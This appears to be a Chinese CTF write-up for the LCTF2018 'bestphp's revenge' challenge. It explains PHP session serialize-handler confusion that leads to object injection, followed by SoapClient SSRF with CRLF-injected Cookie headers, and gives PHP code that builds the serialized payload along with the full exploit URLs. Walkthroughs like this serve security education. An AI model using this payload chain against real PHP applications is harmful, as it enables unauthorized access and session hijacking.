bestphp’s revenge

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0

session反序列化->soap(ssrf+crlf)->call_user_func激活soap类
有关session触发反序列化的资料
有关soapclient扩展反序列化的资料

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

Flag.php

1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

官方Hint:反序列化

call_user_func的第二个参数传入了一个$_POST数组
直接传数组的函数确实想不起来几个,更别提什么危险函数了.

通过反序列化+SSRF才能解决的题目,解决的思路就是Session处理器差异化反序列化+SOAP类CRLF/SSRF。

PHP Session 处理器的安全问题

PHP Session数组对象是通过序列化进行存储在文件中,序列化及反序列化处理器设置如果不同会导致安全问题。

PHP 内置了多种处理器用于 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

PHP 通过 session.serialize_handler 配置选项设置序列化及反序列化时使用的处理器,默认情况下的处理器为php

如果我们使用php_serialize作为序列化$_SESSION的处理器,同时$_SESSION注入恶意的代码,但使用php处理器进行反序列化,,就会出现解析问题,造成对象注入。

例如当一开始是以php_serialize方式存储之后,在字符串中间添加了一个|
第二次以php方式进行反序列化,只要控制|后面的字符传为一个反序列化字符串,就会自动进行反序列化

虽然最后会有一个不可控的";}结尾字符,但是亲测反序列化字符后面可以添加一些脏字符,但是前面不行

1.php

1
2
3
4
5
6
7
8
9
10
<?php
echo ini_get('session.serialize_handler') . '<br>';
session_start(array('serialize_handler' => 'php_serialize'));
echo ini_get('session.serialize_handler') . '<br>';
$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array('location' => $target,
'user_agent' => "Rai4over\r\n" . "Cookie: PHPSESSID=0e00ae842d955478fa7aef8af5392691",
'uri' => "http://127.0.0.1/"));
$_SESSION['test'] = '|' . serialize($b);
var_dump($_SESSION);

修改处理器,并使用php_serialize进行序列化,为$_SESSION注入|,此时$_SESSION中的变量为字符串

image-20181127215838590

2.php

1
2
3
<?php
session_start();
var_dump($_SESSION);

使用php进行反序列化,此时存储的内容变为对象,造成对象注入。

image-20181127220535912

SOAP类SSRF/CRLF注入

因为题目代码过于简单,没有可以利用的自定义类,因此只能选择php自带的类库,也就是soapclient

https://xz.aliyun.com/t/2148#toc-0

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0

原生类解决了很多找不到类的情况的麻烦,但是利用Soap进行SSRF也有两个需要注意的点

  • Soap不是默认开启的,需要手动开启
  • 需要触发__call方法才能进行SSRF

soapclient的实例在访问不存在的方法时,会调用__call方法,该方法如果参数可控就能SSRF,同时其中的user_agent还可以造成CRLF注入。

1
2
3
4
5
6
<?php
$target = 'http://127.0.0.1:2222';
$b = new SoapClient(null, array('location' => $target,
'user_agent' => "Rai4over\r\n" . "Cookie: PHPSESSID=Rai4over",
'uri' => "http://127.0.0.1/"));
$b->test();

SSRF&&CRLF注入Cookie

image-20181127225317724

call_user_func执行类方法

执行类方法

1
2
3
4
5
6
7
8
9
class myclass
{
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));

解决

首先通过第一个call_user_func首先设置session处理器,然后注入soapclient的恶意代包含码。

然后然后反序列化造成$_SESSION对象注入,再通过第一个call_user_func实现对$b的变量覆盖,覆盖为call_user_func,控制第二个call_user_func,触发soapclient的welcome_to_the_lctf2018方法,因为不存在因此触发soapclient的SSRF,需要注入PHPSESSID不然无法将Flag返回当前会话中。

题解

查看session_start的官方文档就可以看到,允许其中传入一个数组,来设置session.的一些参数

这样,我们就可以利用call_user_func($_GET[f],$_POST);来设置session.serialize_handler的值,从而进行Soap的反序列化

1
2
3
4
5
6
7
8
<?php
$a = new SoapClient(null, array(
'location' => "http://127.0.0.1/flag.php",
'user_agent' => "AAA:BBB\r\n"."Cookie:PHPSESSID=22704eeclr7famlh9s21m9to26",
'uri' => "123"
));
$s = serialize($a);
echo urlencode($s);
1
2
3
http://172.81.210.82/?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2Flocalhost%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22AAA%3ABBB%0D%0ACookie%3APHPSESSID%3Db8govp8041cfm1cb307bsf66v3%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

serialize_handler=php_serialize

提交之后,就能看到,这里以php_serialize模式保存session的时候,会显示name的value值是一个序列化字符串

当我们直接访问这个页面,也就是以php的默认模式开启session的时候,就可以看到,这里将|后面的反序列化字符串,反序列化成了一个Soap

要触发Soap的SSRF,还得需要触发它的__call方法,这样我们就可以尝试利用extract覆盖掉变量$b
去调用一个不存在的方法,就会触发SSRF

1
http://172.81.210.82/?f=extract&name=Soapclientb=call_user_func

这样,就可以让Soap带上自己的Cookie去访问flag.php,再次刷新页面,就可以看到flag了